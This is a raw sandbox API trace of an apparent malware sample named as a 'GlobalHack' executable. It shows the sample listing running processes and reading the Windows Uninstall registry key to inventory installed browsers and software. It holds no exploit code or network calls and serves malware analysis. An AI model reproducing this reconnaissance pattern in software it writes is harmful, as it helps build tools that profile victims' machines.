1 [0051.966] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.967] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0051.967] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.968] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0051.969] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0051.969] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.970] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0051.971] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0051.971] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0051.972] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0051.972] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commands-xerox.exe")) returned 1 [0051.973] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="richard_nice.exe")) returned 1 [0051.974] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oxide.exe")) returned 1 [0051.974] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pumpassuming.exe")) returned 1 [0051.975] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tion_belize.exe")) returned 1 [0051.976] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jackaccepting.exe")) returned 1 [0051.978] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="les_lodging.exe")) returned 1 [0051.978] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hazardsbusiness.exe")) returned 1 [0051.979] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dir needs.exe")) returned 1 [0051.980] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="statements inventory.exe")) returned 1 [0051.980] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay returned.exe")) returned 1 [0051.981] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="them.exe")) returned 1 [0051.981] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entertainment_enable.exe")) returned 1 [0051.982] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wirelessnetherlands.exe")) returned 1 [0051.983] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bulgaria.exe")) returned 1 [0051.983] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hours-extensive.exe")) returned 1 [0051.984] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reallysemiconductor.exe")) returned 1 [0051.985] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="breath_reveal_medicare.exe")) returned 1 [0051.985] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spain_chart_slightly.exe")) returned 1 [0051.986] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.987] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="GlobalHack[RUEUNAVN][17.02.2019] .exe")) returned 1 [0051.988] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.989] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0051.989] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x452000, th32ProcessID=0x19f62c, th32DefaultHeapID=0x20, th32ModuleID=0x1f0a248, cntThreads=0x0, th32ParentProcessID=0x4, pcPriClassBase=0, dwFlags=0x0, szExeFile="")) returned 0 [0051.990] CloseHandle (hObject=0x3a0) returned 1 [0051.991] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee20 | out: phkResult=0x19ee20*=0x3a0) returned 0x0 [0051.991] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x0, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0051.991] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 63 [0051.991] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0051.991] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x0, lpcbData=0x19ee30*=0x400) returned 0x2 [0051.991] RegCloseKey (hKey=0x394) returned 0x0 [0051.991] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0051.991] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned 70 [0051.991] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0051.991] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x0, lpcbData=0x19ee30*=0x400) returned 0x2 [0051.991] RegCloseKey (hKey=0x394) returned 0x0 [0051.991] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0051.991] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned 64 [0051.991] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0051.992] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x0, lpcbData=0x19ee30*=0x400) returned 0x2 [0051.992] RegCloseKey (hKey=0x394) returned 0x0 [0052.002] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x3, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DXM_Runtime", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.002] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime") returned 63 [0052.002] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.002] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x0, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.002] RegCloseKey (hKey=0x394) returned 0x0 [0052.002] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x4, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.002] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned 60 [0052.002] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.002] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x0, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.002] RegCloseKey (hKey=0x394) returned 0x0 [0052.002] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x5, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Google Chrome", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.002] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome") returned 65 [0052.002] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.002] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Google Chrome", lpcbData=0x19ee30*=0xe) returned 0x0 [0052.002] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="58.0.3029.110", lpcbData=0x19ee30*=0xe) returned 0x0 [0052.002] RegCloseKey (hKey=0x394) returned 0x0 [0052.002] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x6, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.002] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned 56 [0052.002] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.002] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.003] RegCloseKey (hKey=0x394) returned 0x0 [0052.003] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x7, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.003] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned 59 [0052.003] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.003] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.003] RegCloseKey (hKey=0x394) returned 0x0 [0052.003] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x8, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.003] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned 60 [0052.003] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.003] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.003] RegCloseKey (hKey=0x394) returned 0x0 [0052.003] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x9, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.003] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned 58 [0052.003] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.003] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.003] RegCloseKey (hKey=0x394) returned 0x0 [0052.003] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0xa, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.003] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned 68 [0052.003] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.003] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.003] RegCloseKey (hKey=0x394) returned 0x0 [0052.003] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0xb, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 53.0.3 (x86 en-GB)", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.003] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 53.0.3 (x86 en-GB)") returned 86 [0052.004] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 53.0.3 (x86 en-GB)", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.004] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Mozilla Firefox 53.0.3 (x86 en-GB)", lpcbData=0x19ee30*=0x23) returned 0x0 [0052.004] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="53.0.3", lpcbData=0x19ee30*=0x7) returned 0x0 [0052.004] RegCloseKey (hKey=0x394) returned 0x0 [0052.004] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0xc, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MPlayer2", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.004] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2") returned 60 [0052.004] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.004] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.004] RegCloseKey (hKey=0x394) returned 0x0 [0052.004] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0xd, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.004] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned 67 [0052.004] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.004] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x35, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.004] RegCloseKey (hKey=0x394) returned 0x0 [0052.004] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0xe, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.004] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") 